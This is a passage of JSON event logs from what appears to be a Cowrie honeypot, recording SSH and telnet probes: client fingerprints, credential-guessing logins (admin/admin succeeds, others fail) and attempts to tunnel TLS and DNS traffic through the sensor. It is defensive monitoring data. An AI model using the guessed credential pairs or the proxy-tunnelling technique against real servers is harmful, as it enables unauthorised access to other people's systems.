\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x033\\xf7\\xc0;\\x01\\xf8\\xac\\x87\"\\xb73>m\\xf0u6d\\xb7\\x95\\xd4\\xdb\\xca3\\x8c.\\xd5n?.M = \\x1dB8\\x01\\x98Y\\'\\xe0K\\x9a*\\ni\\xd8\\xb9\\xd0\\xdeBf\\xb7A\\x8c\\xa6\\xde\\xc6!\\x1e\\xf3\\xf8\\xfe\\xc4\\x91\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf0x\\x07T\\x7fL\\rGI\\xc0M\\x94_^\\x0b\\xda\\x81\\xcf\\xd2\\xe8V\\xc3\\x17\\x1d\\x1d\\xda\\x87p]\\xaa\\x7f=\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:47.916948Z","src_ip":"23.175.50.52","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:47.975933Z","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:48.033383Z","src_ip":"23.175.50.52","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf1\\x93[0\\x9d\\xb1i}\\x10\\xac\\xff\\x17`\\xb7\\xa7N\\xf2\\x16\\xcdB\\xa0\\xbd\\\\I*1\\xbb3J7\\x86W \\xda:\\xc1mB\\x93\\xdeN?m\\n\\x98{<\\x84\\xd7A\\xa1\\xa2\\x0c\\xaf\\xa1=aSy\\xf1\\\\\\xfb\\x8b\\x9c\\xfa\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00  \\xe4\\xbc@$\\xd5\\xbd!\\xd9:\\xc5\\x89gg%\\x8f\\x06)\\x1c\\x12\\xab_;\\xbd\\xeaG\\xd2R\\xcd\\x0c\\xb6O\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf1\\x93[0\\x9d\\xb1i}\\x10\\xac\\xff\\x17`\\xb7\\xa7N\\xf2\\x16\\xcdB\\xa0\\xbd\\\\I*1\\xbb3J7\\x86W \\xda:\\xc1mB\\x93\\xdeN?m\\n\\x98{<\\x84\\xd7A\\xa1\\xa2\\x0c\\xaf\\xa1=aSy\\xf1\\\\\\xfb\\x8b\\x9c\\xfa\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00  \\xe4\\xbc@$\\xd5\\xbd!\\xd9:\\xc5\\x89gg%\\x8f\\x06)\\x1c\\x12\\xab_;\\xbd\\xeaG\\xd2R\\xcd\\x0c\\xb6O\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:48.036269Z","src_ip":"23.175.50.52","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45914,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5dc924ad353","protocol":"telnet","message":"New connection: 128.199.8.54:45914 (159.203.135.109:23) [session: d5dc924ad353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:48.118757Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64796,"dst_ip":"10.17.0.5","dst_port":22,"session":"1255894a39c7","protocol":"ssh","message":"New connection: 87.251.64.176:64796 (10.17.0.5:22) [session: 1255894a39c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:49.645812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:49.650376Z","src_ip":"87.251.64.176","session":"1255894a39c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:49.653791Z","src_ip":"91.92.40.36","session":"071132948701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:49.768308Z","src_ip":"87.251.64.176","session":"1255894a39c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63756,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee5f24c4c408","protocol":"ssh","message":"New connection: 91.92.40.36:63756 (159.203.135.109:22) [session: ee5f24c4c408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:49.894064Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:50.140470Z","src_ip":"87.251.64.176","session":"1255894a39c7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:50.273983Z","session":"1255894a39c7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:50.389992Z","src_ip":"87.251.64.176","session":"1255894a39c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:50.495971Z","src_ip":"87.251.64.176","session":"1255894a39c7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:51.228010Z","src_ip":"91.92.40.36","session":"ee5f24c4c408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:51.254198Z","src_ip":"91.92.40.36","session":"ee5f24c4c408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.7","message":"Connection lost after 34.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:51.296025Z","src_ip":"23.175.50.52","session":"a07277ae5144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.9","message":"Connection lost after 23.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:53.935773Z","src_ip":"23.175.50.52","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27330,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec5c83c7d845","protocol":"ssh","message":"New connection: 91.92.40.36:27330 (159.203.135.109:22) [session: ec5c83c7d845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:56.447278Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"feiliuzhixiasanqianchi_Case@","message":"login attempt [ubuntu/feiliuzhixiasanqianchi_Case@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:57.727354Z","src_ip":"91.92.40.36","session":"ee5f24c4c408","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:58.937011Z","src_ip":"91.92.40.36","session":"ec5c83c7d845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:58.941878Z","src_ip":"91.92.40.36","session":"ec5c83c7d845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:00.318143Z","src_ip":"91.92.40.36","session":"ee5f24c4c408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic12","message":"login attempt [elastic/elastic12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:03.977642Z","src_ip":"91.92.40.36","session":"ec5c83c7d845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27370,"dst_ip":"159.203.135.109","dst_port":22,"session":"ead1cdbad695","protocol":"ssh","message":"New connection: 91.92.40.36:27370 (159.203.135.109:22) [session: ead1cdbad695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:04.822906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:05.797347Z","src_ip":"91.92.40.36","session":"ead1cdbad695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:05.800782Z","src_ip":"91.92.40.36","session":"ead1cdbad695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:56:06.067555Z","src_ip":"91.92.40.36","session":"ec5c83c7d845","protocol":"ssh"}
